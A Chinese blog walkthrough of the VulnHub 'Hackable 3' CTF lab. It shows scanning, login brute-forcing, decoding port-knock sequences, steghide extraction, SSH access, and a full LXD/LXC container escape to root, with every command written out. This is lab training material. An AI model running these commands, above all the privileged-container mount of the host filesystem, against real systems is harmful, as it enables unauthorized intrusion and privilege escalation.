VulnHub日记(三): Hackable 3

靶机介绍


中等难度的ctf虚拟机

参考链接:

参考博客:https://nepcodex.com/2021/07/hackable-iii-walkthrough-vulnhub/

虚拟机链接:https://www.vulnhub.com/entry/hackable-iii,720/

lxd,lxc提权:https://www.freebuf.com/articles/system/216803.html

开始练习


本机ip:192.168.56.102

nmap扫出目的机ip:192.168.56.107

nmap -sS 192.168.56.0/24

扫描开启服务

nmap -A -p- 192.168.56.107

扫描目录

dirsearch -e txt,php,html,flag,asp,aspx,bak,jpg,img,htm  -r -u http://192.168.56.107

 

 

ssh为过滤状态,访问80端口,查看网页源码,发现提示,需要尝试上次日记中使用过的端口碰撞技术来解锁ssh端口,并且告诉老板approve .jpg(当时不太明白)

 

 

注释内容:
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->

查看可访问的目录,发现字典,应该可以用于爆破登录,寻找登录入口

再次访问初始页面,查看源码,放大后发现隐藏的菜单按钮,打开登录页面,使用BP暴力破解用户名密码

 第一次用户名和密码都用字典,没有结果,想到可能是之前提示代码中的”jubiscleudo“是用户名,开始尝试

依旧没有结果,所以该字典应该是ssh的字典,但是发现登录后打开的是一个空的页面,查看原代码,发现是之前扫描到的”login.php“,基本动作就是连接数据库,从数据库中读取用户名密码信息,如果成功,就打开3.jpg,于是先下载3.jpg

查看之前扫描的目录,在”config.php“中发现数据库用户名密码等信息

结合两个代码,我们获取了mysql的数据库名称和用户名密码 ,这个页面再没有更多想法了,则尝试登录ssh,则需要端口序列来使用knock解锁22端口,就想到了之前没有用到的1.txt和2.txt,觉得这两个应该是端口序列

看了一眼大佬的提示,用base64编码解码1.ttxt,使用Brainfuck解码2.txt

echo MTAwMDA= | base64 -d

 Brainfuck的在线解码网站:http://ctf.ssleye.com/brain.html

 现在还缺少一个端口号,按照之前的文件名称想到了3.jpg,但是不知道怎么提取,于是查看提示,了解了这里使用了文件隐写,按照提示提取出端口,成功knock

steghide extract -sf 3.jpg
cat steganopayload148505.txt 

knock 192.168.56.107 1000 4444 65535
nmap -A -p- 192.168.56.107 

 

使用之前注释里的用户名和获得的字典爆破

 得到用户名密码 

ssh -l jubiscleudo 192.168.56.107

查看user.txt

cat .user.txt

进入sql失败,也没有发现本用户有特殊权限,返回上级目录,发现新用户名hackable_3

cd ../
id
ls -al

逐个访问目录,在访问/var/www/html下有隐藏文件.back_config.php 

打开后得到hackable_3密码 

 

切换用户,查看id和用户目录文件

id
cd /home/hackable_3
ls -al

查看id后

发现可以利用lxd,lxc提权

本机下载Alpine镜像

git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine

生成.tar.gz文件,打开server服务,传输给目标机

python -m SimpleHTTPServer

目标机获取镜像,将其以镜像的形式添加进LXD了

wget http://192.168.56.102:8000/alpine-v3.8-x86_64-20210805_0417.tar.gz
lxc image import ./alpine-v3.8-x86_64-20210805_0417.tar.gz --alias myimage
lxc image list
#.tar.gz文件是根据时间生成的,需要根据自己情况更改名称  --alias 后的名称也可以自己定义

 初始化Container,否则在加载容器时会显示没有存储池

lxd init
一路回车

执行如下命令,成功提权

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh

获取flag 

cd /mnt/root/root
ls -al
cat root.txt

 

总结


线索较多,第一次使用lxc,lxd提权,Brainfuck编码,又一次用到了knock解锁端口

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值